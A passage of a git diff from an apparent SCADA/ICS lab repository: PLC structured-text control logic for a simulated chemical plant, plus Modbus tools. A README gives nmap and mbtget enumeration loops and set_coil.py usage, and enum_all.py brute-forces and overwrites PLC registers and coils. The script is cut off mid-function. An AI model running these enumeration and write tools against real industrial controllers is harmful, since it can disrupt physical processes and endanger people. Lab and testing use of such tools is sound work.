scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set : UINT; + a_setpoint : UINT; + pressure_sp : UINT; + override_sp : UINT; + level_sp : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos : UINT; + f1_flow : UINT; + f2_valve_pos : UINT; + f2_flow : UINT; + purge_valve_pos : UINT; + purge_flow : UINT; + product_valve_pos : UINT; + product_flow : UINT; + pressure : UINT; + level : UINT; + a_in_purge : UINT; + b_in_purge : UINT; + c_in_purge : UINT; + f1_valve_sp : UINT; + f2_valve_sp : UINT; + purge_valve_sp : UINT; + product_valve_sp : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure : INT; + hmi_level : INT; + hmi_f1_valve_pos : INT; + hmi_f1_flow : INT; + hmi_f2_valve_pos : INT; + hmi_f2_flow : INT; + hmi_purge_valve_pos : INT; + hmi_purge_flow : INT; + hmi_product_valve_pos : INT; + hmi_product_flow : INT; + scan_count : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) 